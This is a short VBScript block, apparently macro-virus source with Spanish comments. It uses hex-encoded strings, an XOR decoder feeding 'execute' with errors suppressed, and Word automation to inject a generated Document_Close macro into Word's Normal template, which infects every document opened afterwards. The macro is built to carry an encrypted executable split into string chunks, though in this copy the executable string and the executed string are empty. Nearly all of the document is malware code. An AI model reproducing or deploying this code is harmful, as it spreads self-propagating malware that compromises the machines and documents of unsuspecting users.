<Script Language='vbScript'>
dim zacged
zacged= nt7("6D6F72757361")
Function meteorito_nt7(nt7)
Dim rv
j = Len(zacged)
For i = 1 To Len(nt7)
c1 = Mid(nt7, i, 1)
c2 = Mid(zacged, j, 1)
If rv = True Then 
j = j + 1
Else  
j = j - 1
End If
If j = Len(zacged) Then j = j - 1: rv = False
If j = 0 Then j = 1: rv = True
meteorito_nt7 = meteorito_nt7 & Chr(Asc(c1) Xor Asc(c2))
Next
End Function
Function nt7(x)
Dim j 
Dim at
j = 1
While j < Len(x) :at = Chr(rd2v(Mid(x, j, 2))):nt7 = nt7 & at:j = j + 2:Wend:End Function
Sub reg
on error resume next
rhlm = " "
execute meteorito_nt7(nt7(rhlm))
call bobsponja
end sub 
Function rd2v(rol)
rd2v = (art(Mid(rol, 1, 1)) * 16) + art(Mid(rol, 2, 1))
End Function
Function art(l)
Select Case l
Case chr(69): art = 14
Case chr(66): art = 11
Case chr(67): art = 12
Case chr(65): art = 10
Case chr(68): art = 13
Case chr(70): art = 15
Case Else 
art = Int(l)
End Select
End Function
function morusa
call reg
end function
sub bobsponja
dim dw
set dw = createobject(nt7("776F72642E6170706C69636174696F6E"))
while dw = ""
doevents
wend
dw.Documents.Add
if dw.normaltemplate.VBProject.VBComponents.item(1).name = zacged then 
dw.Documents(dw.activedocument.name).Close false
dw.quit
exit sub
end if
dw.Normaltemplate.VBProject.vbcomponents.Item(1).codemodule.addfromstring (patricio)
dw.NormalTemplate.save
dw.Documents(dw.activedocument.name).Close false
dw.quit
end sub  
function patricio
mc = nt7("----Vx macro ---")
enk = nt7("507269766174652053756220446F63756D656E745F436C6F73652829") & vbCrLf & nt7("44696D2065786520417320537472696E67") & vbCrLf
exe = ""

'-------------- *Final* --------------------> Partiendo el exe para la macro al igual dentro del exe

prt = "exe = exe & " & Chr(34) & Mid(exe, 1, 200) & Chr(34) & " & _" & vbCrLf
exe = Mid(exe, 201, Len(exe))
cont = 1
While Not acaba
  If cont = 8 Then
    prt = prt & Chr(34) & Mid(exe, 1, 200) & Chr(34) & vbCrLf
    exe = Mid(exe, 201, Len(exe))
    If Len(exe) <= 200 Then
      prt = prt & Chr(34) & Mid(exe, 1, Len(exe)) & Chr(34) & vbCrLf
      acaba = True
    End If
    prt = prt & "exe = exe & " & Chr(34) & Mid(exe, 1, 200) & Chr(34) & " & _" & vbCrLf
    exe = Mid(exe, 201, Len(exe))
    cont = 1
  Else
    prt = prt & Chr(34) & Mid(exe, 1, 200) & Chr(34) & " & _" & vbCrLf
    exe = Mid(exe, 201, Len(exe))
    If Len(exe) <= 200 Then
      prt = prt & Chr(34) & Mid(exe, 1, Len(exe)) & Chr(34) & vbCrLf
      acaba = True
    End If
  End If
cont = cont + 1
Wend

patricio = enk & prt & mc 'Ensamblando el exe encriptado

end function
</script>